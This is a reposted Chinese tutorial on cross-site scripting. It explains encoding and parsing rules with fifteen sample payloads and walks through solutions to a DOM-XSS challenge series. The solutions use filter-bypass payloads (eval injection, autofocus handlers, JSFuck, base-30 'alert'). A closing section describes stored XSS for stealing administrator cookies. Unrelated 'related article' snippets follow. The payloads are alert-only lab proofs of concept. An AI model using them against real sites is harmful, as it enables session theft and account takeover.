【安全】XSS

news2024/11/15 21:47:51

文章目录

  • xss
    • 1.反射型
    • XSS Payload的一些情况
      • 01
      • 02
      • 03
      • 04
      • 05
      • 06
      • 07
      • 08
      • 09
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
    • HTML文档处理过程
      • 0x01 HTML解析
      • 0x02 URL解析
      • 0x03 JavaScript 解析
    • 2.DOM型
      • Ma Spaghet!
      • Jefff
      • Ugandan Knuckles
      • Ricardo Milos
      • Ah That's Hawt
      • Ligma
      • Mafia
    • 3.存储型

xss

用户的输入没有进行很好的过滤,导致用户输入被输出到前端,前端解析执行了用户输入。

利用js语句,常用方法alert,confirm,prompt;js所有的元素都继承自window

1.反射型

XSS Payload的一些情况

<a href="javascript:alert(1)">aaaaaa</a>

a标签中的href中可以通过伪协议来执行js代码

01

<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>

URL 编码 "javascript:alert(1)"
解析不了,不认识

02

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

HTML字符实体编码 "javascript" 和 URL 编码 "alert(2)"
认识,可以执行

03

<a href="javascript%3aalert(3)"></a>

URL编码 ":"
不认识

04

<div>&#60;img src=x onerror=alert(4)&#62;</div>

HTML字符实体编码 < 和 >
不能进入标签开始状态

05

<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

HTML字符实体编码 < 和 >
不能进入标签开始状态

06

<textarea><script>alert(6)</script></textarea

textarea标签和title标签是RCDATA元素,只认为其中的内容是普通文本和字符引用,但是字符引用无法进入标签开始状态,所以无法执行

07

<button onclick="confirm('7&#39;);">Button</button>

HTML字符实体编码 " ' " (单引号)
html实体编码,认识,可以执行

08

<button onclick="confirm('8\u0027);">Button</button>

Unicode编码 " ' " (单引号)
js严格区分大小写,不能Unicode编码符号

09

<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

HTML字符实体编码 alert(9);
script标签和style标签是原始文本元素,只能容纳文本,其中的字符引用并不会被解析和解码

10

<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

Unicode 编码 alert
Unicode编码支持,也没有Unicode编码符号,可以执行

11

<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

Unicode 编码 alert(11)
js不容许Unicode编码了符号

12

<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

Unicode 编码 alert 和 12
解码完以后的12没有单双引号的包裹,所以语法错误 

13

<script>alert('13\u0027)</script>

Unicode 编码 " ' " (单引号)
js不能Unicode编码符号

14

<script>alert('14\u000a')</script>

Unicode 编码换行符(0x0A)
js支持换行解析,可以执行

15

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

html实体编码---->urlcode编码---->Unicode编码
符合规范,没有urlcode,Unicode编码符号,可以执行

小结

  1. <script><style>数据只能有文本,不会有HTML解码和URL解码操作
  2. <textarea><title>里会有HTML解码操作,但不会有子元素
  3. 其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作
  4. 部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII
  5. JavaScript会对字符串和标识符Unicode解码

HTML文档处理过程

解析一篇HTML文档时主要有三个处理过程:HTML解析,URL解析和JavaScript解析。

0x01 HTML解析

主要过程为:标签开始状态——>标签名状态——>数据状态

在解析过程中,任何时候它只要遇到一个’<‘符号(后面没有跟’/'符号)就会进入“标签开始状态(Tag open state)”。然后转变到“标签名状态(Tag name state)”,“前属性名状态(before attribute name state)”…最后进入“数据状态(Data state)”并释放当前标签的token。当解析器处于“数据状态(Data state)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。

在HTML中有五类元素:

  1. 空元素(Void elements),如,
    ,等等
  2. 原始文本元素(Raw text elements),有

五类元素的区别如下:

  1. 空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。

  2. 原始文本元素,可以容纳文本。

  3. RCDATA元素,可以容纳文本和字符引用。

  4. 外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释

  5. 基本元素,可以容纳文本、字符引用、其他元素和注释

0x02 URL解析

首先,不能对协议类型进行任何的编码操作,不然URL解析器会认为它无类型。这就是为什么问题1中的代码不能被执行。因为URL中被编码的“javascript”没有被解码,因此不会被URL解析器识别。该原则对协议后面的“:”(冒号)同样适用,即问题3也得到解答。
为什么问题2中的脚本被执行了呢?
当HTML解析器工作完成后,URL解析器开始解析href属性值里的链接。在这时,“javascript”协议已经被解码,它能够被URL解析器正确识别。然后URL解析器继续解析链接剩下的部分。由于是“javascript”协议,JavaScript解析器开始工作并执行这段代码,这就是为什么问题2中的代码能够被执行。

0x03 JavaScript 解析

HTML解析过程中的“原始文本”元素。所有的“script”块都属于“原始文本”元素。**“script”块有个有趣的属性:在块中的字符引用并不会被解析和解码。**如果你去看“脚本数据状态”的状态转换规则,就会发现没有任何规则能转移到字符引用状态。这意味着问题9中的脚本并不会执行。所以如果攻击者尝试着将输入数据编码成字符实体并将其放在script块中,它将不会被执行。

2.DOM型

Ma Spaghet!

通过url中的get方法获取somebody参数,然后放入到h2标签中,没有进行任何过滤,而且使用的是innerHTML方法。

直接在url中传入payloads:

?somebody=<img src=x onerror=alert(1337)>

在这里插入图片描述

所以,当插入纯文本时,不要使用 innerHTML ,而是使用 innerTexttextContent,它们不会把给定的内容解析为 HTML,它仅仅是将原始文本插入给定的位置。

Jefff

setTimeout方法中使用的是innerText方法插入,无法再像上一题一样操作,突破口在eval函数。

方法1

?jeff=bbb";alert(1337);"

在这里插入图片描述

方法2

使用js的连接符,在js中-两边都是表达式,则可以执行代码

?jeff="-alert(1337)-"

在这里插入图片描述

Ugandan Knuckles

过滤了<>符号,不能闭合逃逸出input标签,只能在input标签中添加新的属性,onclick需要用户交互,不行;使用onfocus和autofocus共同来实现自动聚焦实现焦点事件。

?wey=abc" onfocus=alert(1337) autofocus="

在这里插入图片描述

Ricardo Milos

form表单中,提交的位置action是通过get方法获取,用户可控,提交事件2秒以后自动触发;所以可以在action中写入伪协议,等到2秒后提交事件自动触发action中的伪协议。

?ricardo=javascript:alert(1337)

在这里插入图片描述

Ah That’s Hawt

?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

在这里插入图片描述

Ligma

过滤字母和数字,直接考虑用编码的方式进行绕过。

先将alert(1337)进行jsfuck编码,然后将编码后的内容进行urlencode编码(防止将其中的+号解析成空格等)

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%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21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29

在这里插入图片描述

Mafia

过滤alert

方法1

匿名函数,Function代表构造方法,后面还有一个括号代表立即执行

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

在这里插入图片描述

方法2

将alert转换成30进制,然后用toString方法转换回来。

注意:最少要30进制,因为0-9再加a-t是10+20即为30,所以最少要30进制,否则将涵盖不到t。

?mafia=eval(8680439..toString(30))(1337)

在这里插入图片描述

方法3

?mafia=eval(location.hash.slice(1))#alert(1337)

使用location.hash截取#及后面的字符串,由于#不需要,所以从下标为1处开始截取。

在这里插入图片描述

3.存储型

存储型XSS主要用来获取管理员的cookie,从而实现使用cookie直接访问后台管理页面。

存储型XSS攻击的流程可以分为三个阶段:注入、存储和触发。

注入阶段
攻击者通过网站提供的输入接口,如评论框、搜索框、表单等,将恶意代码注入到网站的数据中。这些输入接口通常是网站允许用户提交内容的地方。

存储阶段
当网站未能对用户输入进行适当的清理和转义时,恶意脚本便被存储在网站的数据库或文件系统中。这意味着恶意代码成为了某些操作时网页内容的一部分。

触发阶段
其他用户访问包含恶意代码的页面时,由于网站未能对输出数据进行编码或过滤,恶意代码在用户的浏览器中被执行,导致攻击发生。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2053648.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

对比新旧两个数据库表之间的差异

ServerDatabaseVersionUpdateHelper 一个对比不同数据库之间表数据差异的开源软件&#xff0c;欢迎大家到github上点赞 应用下载地址 功能介绍 对比表结构差异和表数据之间的差异 并根据查询生成新的更新sql语句 使用 1. 填写新旧数据库配置 server数据库地址;port数据库端…

报错:xx in xx cannot be applied to ‘()‘ @Data注解的无参构造方法不生效(原因及解决办法)

问题描述 创建User类时&#xff0c;添加了Data注解和User的构造方法 import lombok.Data;Data public class User {private Long id;private String name;private Integer age;private String email;public User(Long id, String name, Integer age, String email) {this.id …

机器学习--常见算法总结

有监督学习算法 1. 线性回归算法 概念&#xff1a;线性回归是一种统计方法&#xff0c;用于预测一个变量&#xff08;因变量&#xff09;与一个或多个自变量&#xff08;特征变量&#xff09;之间的关系。目标是通过线性方程建立自变量和因变量之间的关系模型。 作用&#x…

vertical-align: bottom;

问: 这个弹框中, "张三" 文字在某些ios手机中会上升到顶部, 图片也会移动, 西方二维码也会向下移动, 请问什么原因? 回答: 我们在 "张三" 这个元素dt上, 加上了vertical-align: bottom;这个属性, 让这个在顶部的元素在最下面, 就解决了样式错乱的问题.

SCC-F 23212-0-110310控制器abb面价

SCC-F 23212-0-110310控制器面价 SCC-F 23212-0-110310控制器面价 SCC-F 23212-0-110310控制器面价 SCC-F 23212-0-110310控制模块接线图 SCC-F 23212-0-110310控制模块电路图 SCC-F 23212-0-110310控制模块线路图 SCC-F 23212-0-110310伺服电机控制器是数控系统及其他相…

【C语言】最详细的单链表(两遍包会!)

&#x1f984;个人主页:小米里的大麦-CSDN博客 &#x1f38f;所属专栏:C语言数据结构_小米里的大麦的博客-CSDN博客 &#x1f381;代码托管:黄灿灿/数据结构 (gitee.com) ⚙️操作环境:Visual Studio 2022 目录 一、前言 二、单链表的概念 1. 单链表的特点 2. 单链表的基本…

Aqua使用记录

Java Kotlin Groovy Python 建议使用Poetry环境 Poetry executable&#xff1a;/Users/wan/Library/Application Support/pypoetry/venv/bin/poetry 安装依赖包 poetry add package 或者在.toml文件添加依赖包信息 Selenium with Python Selenium 生成html测试报告&#x…

Linux驱动——杂项驱动GPIO子系统

一&#xff1a;内核层框架 在介绍linux驱动之前先介绍一下系统。 系统分为两层&#xff1a; 1.系统层 2.内核层 对于内核层就要说一下其中的内核层运行的框架了 代码如下&#xff1a; //头文件 #include "linux/kernel.h" #include "linux/module.h" …

git-版本管理工具基本操作-创建仓库-拉取-推送-暂存库-版本库

1、创建仓库 2、克隆仓库到本地&#xff08;首次拉取需要输入用户名和密码&#xff0c;用户名用邮箱&#xff0c;密码用登录gitee的密码&#xff0c;后面配置密钥后可以直接clone&#xff09; 在命令行输出两行指令配置git才能克隆&#xff1a; username&#xff1a;gitee账号…

2D Inpainting 与NeRF 3D重建的多视角一致性问题

一 问题&#xff1a; NeRF依赖于输入图像的一致性。NeRF&#xff08;Neural Radiance Fields&#xff09;在生成三维场景时&#xff0c;依赖于从多个视角拍摄的输入图像之间的一致性来准确地推断场景的三维结构和颜色信息。 具体来说&#xff1a; 多视角一致性&#xff1a; Ne…

宝塔面板一键部署Inis博客网站结合内网穿透为本地站点配置公网地址

文章目录 前言1. Inis博客网站搭建1.1. Inis博客网站下载和安装1.2 Inis博客网站测试1.3 cpolar的安装和注册 2. 本地网页发布2.1 Cpolar临时数据隧道2.2 Cpolar稳定隧道&#xff08;云端设置&#xff09;2.3.Cpolar稳定隧道&#xff08;本地设置&#xff09; 3. 公网访问测试总…

Day42 | 739. 每日温度 496.下一个更大元素 I 503.下一个更大元素II

语言 Java 739. 每日温度 每日温度 题目 给定一个整数数组 temperatures &#xff0c;表示每天的温度&#xff0c;返回一个数组 answer &#xff0c;其中 answer[i] 是指对于第 i 天&#xff0c;下一个更高温度出现在几天后。如果气温在这之后都不会升高&#xff0c;请在该…

计算机网络基础详解:从网络概述到安全保障的全面指南

目录 网络基础详细概述 1. 网络概述 1.1数据通信 1.2资源共享 1.3分布式处理 1.4负载均衡 2. 网络分类 2.1按覆盖范围&#xff1a; 2.1.1局域网 (LAN)&#xff1a; 2.1.2城域网 (MAN)&#xff1a; 2.1.3广域网 (WAN)&#xff1a; 2.2按拓扑结构&#xff1a; 2.2.1…

IEEE802网络协议和标准

IEEE802网络协议和标准 802委员会IEEE 802介绍现有标准 IEEE 802.3介绍物理媒介类型MAC子层与LLC子层主要内容通讯标准POE供电标准802.3af、802.3at、802.3btIEEE802.3af的工作过程&#xff1a;IEEE802.3af主要供电参数&#xff1a;IEEE802.3af的分级参数&#xff1a;为什么会有…

C++的序列容器——数组

前言&#xff1a; 这篇文章我们就开始新的章节&#xff0c;我们之前说的C/C的缺陷那部分内容就结束了。在开始新的章之前我希望大家可以先对着题目思考一下&#xff0c;C的容器是什么&#xff1f;有什么作用&#xff1f;下面让我们开始新的内容&#xff1a; 目录 前言&#x…

从数据类型到变量、作用域、执行上下文

从数据类型到变量、作用域、执行上下文 JS数据类型 分类 1》基本类型&#xff1a;字符串String、数字Number、布尔值Boolean、undefined、null、symbol、bigint 2》引用类型&#xff1a;Object (Object、Array、Function、Date、RegExp、Error、Arguments) Symbol是ES6新出…

S7协议转HTTP协议

如下来源成都纵横智控-https://www.iotrouter.com/ 需求概述 本章要实现一个流程&#xff1a;EG8200采集西门子S7-200Smart的数据&#xff0c;并组装成JSON格式通过HTTP上报应用平台。 要采集的PLC点位表如下&#xff1a; PLC S7-200 Smart IP 192.168.0.34/102 点表(DB1…

C++第十一弹 -- STL之List的剖析与使用

文章索引 前言1. list的介绍2 list的使用2.1 list的构造函数2.2 iterator的使用2.3 list capacity2.4 list element access2.5 list modifiers 3. list的迭代器失效4. list与vector的对比总结 前言 本篇我们旨在探讨对于STL中list的使用, 下一篇我们将会对list进行底层剖析以及…

目录操作(2)(21)

1.getpwuid struct passwd *getpwuid(uid_t uid); 功能: 根据用户id到ks文件下解析获得 结构体信息 参数: uid:用户id 返回值: 成功返回id对应用户的信息 失败返回NULL eg&#xff1a;接受返回值struct passwd * pw getpwuid(uid); struct passwd {char *pw_name; …

Servlet---axios框架 ▎路由守卫

前言 在现代Web应用中&#xff0c;前端和后端通常分离&#xff0c;前端使用框架&#xff08;如Vue.js、React&#xff09;与后端服务交互。Servlet是Java EE中处理HTTP请求的重要组成部分&#xff0c;能够生成动态Web内容。 Axios是一个基于Promise的HTTP客户端&#xff0c;简…